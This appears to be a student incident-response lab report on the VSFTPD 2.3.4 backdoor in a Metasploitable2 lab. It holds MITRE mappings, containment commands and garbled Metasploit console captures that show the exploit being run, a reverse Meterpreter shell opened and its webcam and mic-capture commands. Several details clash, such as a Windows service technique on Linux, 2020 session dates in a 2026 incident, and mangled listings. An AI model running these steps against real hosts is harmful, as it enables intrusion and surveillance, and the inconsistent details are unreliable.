



TASK : Advanced Cyber Defense & Incident Response Lifecycle

Incident Response Final Report

Incident ID: IR-2026-WK2

Status: Resolved

Severity: Critical (P1)

Date: May 15, 2026

1. Executive Summary

During a routine security assessment, a critical vulnerability was identified and exploited in the VSFTPD 2.3.4 service running on a production-simulated environment (Metasploitable2). The attack resulted in an unauthorized root-level shell. This report details the detection through Wazuh, containment via network filtering, and the remediation steps taken to secure the infrastructure.

2. Incident Lifecycle Documentation

Phase 1: Preparation & Detection

- **Infrastructure:** Vulnerable Linux host (Target) and Kali Linux (Attacker).
- **Detection:** Wazuh SIEM triggered an alert for "VSFTPD 2.3.4 Backdoor **Attempt**" after an unusual connection was detected on Port 6200.
- **Initial Vector:** Remote exploitation of a known supply-chain backdoor in the VSFTPD daemon.

Phase 2: Analysis & Mapping (MITRE ATT&CK)

The attack was mapped to the following tactics and techniques:

Tactic	Technique ID	Technique Name
Initial Access	T1190	Exploit Public-Facing Application
Execution	T1059.004	Command and Scripting Interpreter: Unix Shell
Persistence	T1543.003	Create or Modify System Process: Windows Service (Simulated)
Command & Control	T1071.001	Application Layer Protocol: Web Protocols (Port 6200)



Phase 3: Containment

To stop the attacker's lateral movement and data exfiltration, the following actions were taken:

1. **Network Level:** Implemented a Suricata "Drop" rule to terminate all traffic from the Attacker IP.
2. **Host Level:** Applied iptables rules to block Port 21 and Port 6200 immediately.
 - **Command:** `sudo iptables -A INPUT -s [Attacker_IP] -j DROP`
3. **Verification:** A ping test and Nmap scan confirmed that the attacker was successfully isolated.

Phase 4: Eradication & Recovery

- **Eradiation:** The compromised VSFTPD package was uninstalled. System logs were audited for any secondary backdoors or added user accounts.
- **Recovery:** The service was replaced with a patched, modern version of FTP (SFTP via SSH) with restricted user permissions.

3. Quantitative Risk Analysis (ALE)

Based on this incident, the following risk metrics have been calculated for future budgeting:

- Asset Value (AV): \$50,000 (Data + Server uptime)
- Exposure Factor (EF): 0.3 (30% impact on confidentiality/integrity)
- SLE (Single Loss Expectancy): \$15,000
- ARO (Annual Rate of Occurrence): 0.1 (Expected once every 10 years)
- ALE (Annualized Loss Expectancy): \$1,500

4. Final Recommendations

1. **Disable Insecure Services:** Move from legacy FTP to SFTP/SSH.
2. **Patch Management:** Implement a 24-hour patching window for critical-rated vulnerabilities.
3. **Enhanced Monitoring:** Configure Wazuh to auto-block IPs (Active Response) that trigger high-severity alerts.



ScreenShots :

```
Session Actions Edit View Help
msf5 (root) > dir

Command      Description
-----
play         play a waveform audio file (.wav) on the target system

For more info on a specific command, use <command> -h or help <command>.

msf5 (root) > webcam_chat
[-] Target does not have a webcam
msf5 (root) > dir
Listing: /

Mode      Size      Type      Last Modified      Name
----
100000000 1188612   File      2020-04-28 05:54:55 -0400 5x2Bup00
040755/rwxr-xr-x 4096     Dir      2012-05-13 23:15:13 -0400 bin
040755/rwxr-xr-x 1024     Dir      2012-05-13 23:16:10 -0400 boot
040755/rwxr-xr-x 4096     Dir      2010-03-16 10:55:51 -0400 cdrom
040755/rwxr-xr-x 118208   Dir      2020-04-28 05:52:02 -0400 dev
040755/rwxr-xr-x 4096     Dir      2020-04-28 05:52:06 -0400 etc
040755/rwxr-xr-x 4096     Dir      2020-04-16 02:16:02 -0400 home
040755/rwxr-xr-x 4096     Dir      2010-03-16 10:57:40 -0400 initrd
100000000000000 7929183  File      2012-05-13 23:15:56 -0400 initrd.img
040755/rwxr-xr-x 4096     Dir      2012-05-13 23:15:12 -0400 lib
040700/rwxr-xr-x 10304     Dir      2010-03-16 10:55:15 -0400 lost+found
040755/rwxr-xr-x 4096     Dir      2010-03-16 10:55:52 -0400 media
040755/rwxr-xr-x 4096     Dir      2010-04-28 06:16:56 -0400 mnt
100000000000000 7763     File      2020-04-28 05:52:00 -0400 nshgout
040755/rwxr-xr-x 4096     Dir      2010-03-16 10:57:20 -0400 opt
040755/rwxr-xr-x 0         Dir      2020-04-28 05:55:14 -0400 proc
040755/rwxr-xr-x 4096     Dir      2020-04-28 05:52:08 -0400 root
040755/rwxr-xr-x 4096     Dir      2012-05-13 21:54:53 -0400 shln
040755/rwxr-xr-x 4096     Dir      2010-03-16 10:57:56 -0400 srv
040755/rwxr-xr-x 0         Dir      2020-04-28 05:55:14 -0400 sys
041777/rwxrwxrwx 4096     Dir      2020-04-28 05:52:22 -0400 tmp
040755/rwxr-xr-x 4096     Dir      2010-04-28 00:06:37 -0400 usr
040755/rwxr-xr-x 4096     Dir      2010-03-17 10:00:13 -0400 var
100000000000000 1007280  File      2000-04-10 12:55:41 -0400 vmlinuz

msf5 (root) >
```

```
Session Actions Edit View Help

getuid
Get the user that the server is running as
kill
Terminate a process
localtime
Displays the target system local date and time
ps
Filter processes by name
pkill
Terminates processes by name
ps
List running processes
shell
Drop into a system command shell
suspend
Suspend or resume a list of processes
sysinfo
Gets information about the remote system, such as OS

msf5 (root) > webchat
Start a video chat
webchat_list
List webcams
webchat_snapshot
Take a snapshot from the specified webcam
webchat_stream
Play a video stream from the specified webcam

msf5 (root) > mic_start
Start capturing an audio stream from the target mic
mic_stop
Stop capturing audio

msf5 (root) > play
play a waveform audio file (.wav) on the target system

For more info on a specific command, use <command> -h or help <command>.

msf5 (root) >
```



```
Session Actions Edit View Help
View the full module info with the info, or info -s command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.197.131:21 - Msf::OptionValidateError One or more options failed to validate: LHOST.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.197.131
LHOST => 192.168.197.131
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] Started reverse TCP handler on 192.168.197.131:4444
[*] 192.168.197.131:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (192.168.197.131:4444 -> 192.168.197.131:49019) at 2020-04-28 05:58:36 -0400

meterpreter > ls
Listing: /

Mode                Size      Type    Last modified          Name
-----
[00700/rwx-----] 1180612  File    2020-04-28 05:58:58    -0400  SazBkup00
-rwxr-xr-x         4096  dir     2012-05-13 23:35:33    -0400  bin
-rwxr-xr-x         1624  dir     2012-05-13 23:36:19    -0400  boot
-rwxr-xr-x         4096  dir     2010-03-16 18:55:51    -0400  cdrom
-rwxr-xr-x        13820  dir     2020-04-28 05:52:02    -0400  dev
-rwxr-xr-x         4096  dir     2020-04-28 05:52:00    -0400  etc
-rwxr-xr-x         4096  dir     2020-04-16 02:16:02    -0400  home
-rwxr-xr-x         4096  dir     2010-03-16 18:55:49    -0400  initrd
-rwxr-xr-x         7229183  File    2012-05-13 23:35:56    -0400  initrd.img
-rwxr-xr-x         4096  dir     2012-05-13 23:35:22    -0400  lib
-rwxr-xr-x         10304  dir     2010-03-16 18:55:15    -0400  lost+found
-rwxr-xr-x         4096  dir     2010-03-16 18:55:53    -0400  media
-rwxr-xr-x         4096  dir     2020-04-28 06:18:56    -0400  opt
-rwxr-xr-x         7163  File    2020-04-28 05:52:00    -0400  sbin
-rwxr-xr-x         4096  dir     2010-03-16 18:57:39    -0400  sdi
-rwxr-xr-x         0  dir     2020-04-28 05:55:44    -0400  proc
-rwxr-xr-x         4096  dir     2020-04-28 05:52:08    -0400  root
-rwxr-xr-x         4096  dir     2012-05-13 21:54:03    -0400  sbin
-rwxr-xr-x         4096  dir     2010-03-16 18:57:58    -0400  srv
-rwxr-xr-x         0  dir     2020-04-28 05:51:46    -0400  sys
-rwxr-xr-x         4096  dir     2020-04-28 05:52:22    -0400  tmp
-rwxr-xr-x         4096  dir     2010-04-28 00:06:27    -0400  usr
-rwxr-xr-x         4096  dir     2010-03-17 18:08:23    -0400  var
-rwxr-xr-x         1087298  File    2000-04-10 12:55:41    -0400  vmlinuz

meterpreter > !

Session Actions Edit View Help

FETCH_SSHHOST      no      variant also Python 2.6, tested shells are sh, bash, rsh) (Accepted: none, python3.6+, shell-search, shell)
FETCH_SSHPORT      8080    yes     Local IP to use for serving payload
FETCH_SSHPORT      no      Local port to use for serving payload
FETCH_SSHPORT      no      Local URI to use for serving payload
LHOST              yes     The listen address (an interface may be specified)
LPORT              yes     The listen port

When FETCH_COMMAND is one of CURL,GET,POST:

Name      Current Setting  Required  Description
-----
FETCH_PIPE false           yes       Host both the binary payload and the command so it can be piped directly to the shell.

When FETCH_FILELESS is none:

Name      Current Setting  Required  Description
-----
FETCH_FILENAME Vx0LOCKE       no       Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_WRITEABLE_DIR ✓             yes       Remote writable dir to store payload; cannot contain spaces

Exploit targets:

Id  Name
--  --
0   Linux/Unix Command

View the full module info with the info, or info -s command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.197.131:21 - Msf::OptionValidateError One or more options failed to validate: LHOST.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.197.131
LHOST => 192.168.197.131
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] Started reverse TCP handler on 192.168.197.131:4444
[*] 192.168.197.131:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (192.168.197.131:4444 -> 192.168.197.131:49019) at 2020-04-28 05:58:36 -0400

meterpreter > !
```



```

+ --+ metasploit v6.4.12s-dev
+ --+ 7,636 exploits - 1,711 auxiliary - 2,153 payloads
+ --+ 432 post - 49 encoders - 34 nops - 12 evasion
+
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapidly Open Source Project

msf > db_nmap -sv 192.168.197.132
[*] Nmap: Starting nmap 7.99 ( https://nmap.org ) at 2026-04-20 06:01 -0400
[*] Nmap: Nmap scan report for 192.168.197.132
[*] Nmap: Host is up (0.0021s latency).
[*] Nmap: Not shown: 977 closed tcp ports (reset)
[*] Nmap: PORT      STATE SERVICE      VERSION
[*] Nmap: 21/tcp    open  ftp          vsftpd 2.3.4
[*] Nmap: 22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
[*] Nmap: 23/tcp    open  telnet       Linux telnetd
[*] Nmap: 25/tcp    open  smtp         Postfix smtpd
[*] Nmap: 53/tcp    open  domain       ISC BIND 9.4.2
[*] Nmap: 80/tcp    open  http         Apache/2.2.2.8 ((Ubuntu) DAV/2)
[*] Nmap: 111/tcp   open  epchbind     2 (RPC #100000)
[*] Nmap: 139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
[*] Nmap: 443/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
[*] Nmap: 512/tcp   open  exec         netatalk execd
[*] Nmap: 513/tcp   open  login        OpenSSH or Solaris rlogind
[*] Nmap: 554/tcp   open  tpcwrapped
[*] Nmap: 1099/tcp open  java-rmi     GWS Classpath gwsregistry
[*] Nmap: 1524/tcp open  hindsshell   Metasploitable root shell
[*] Nmap: 2049/tcp open  nfs          2-4 (RPC #100000)
[*] Nmap: 2121/tcp open  ftp          ProFTPD 1.3.1
[*] Nmap: 3306/tcp open  mysql        MySQL 5.0.53a-ubuntu5
[*] Nmap: 5432/tcp open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
[*] Nmap: 5900/tcp open  vnc          VNC (protocol 3.1)
[*] Nmap: 6080/tcp open  x11          (access denied)
[*] Nmap: 6081/tcp open  irc          UnrealIRCd
[*] Nmap: 8080/tcp open  ajp13        Apache Jserv (Protocol v1.3)
[*] Nmap: 8180/tcp open  http         Apache Tomcat/Coyote JSP engine 1.1
[*] Nmap: MAC Address: 08:0C:29:FA:00:2A (VMware)
[*] Nmap: Service Info: hosts: metasploitable.localdomain, irc:Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: Service detection performed. Please report any incorrect results at https://www.openbsd.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 12.10 seconds

/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.16/lib/recog/fingerprint/regex_factory.rb:34: warning: nested repeat operator '*'
and '*' was replaced with '*' is regular expression
msf >

```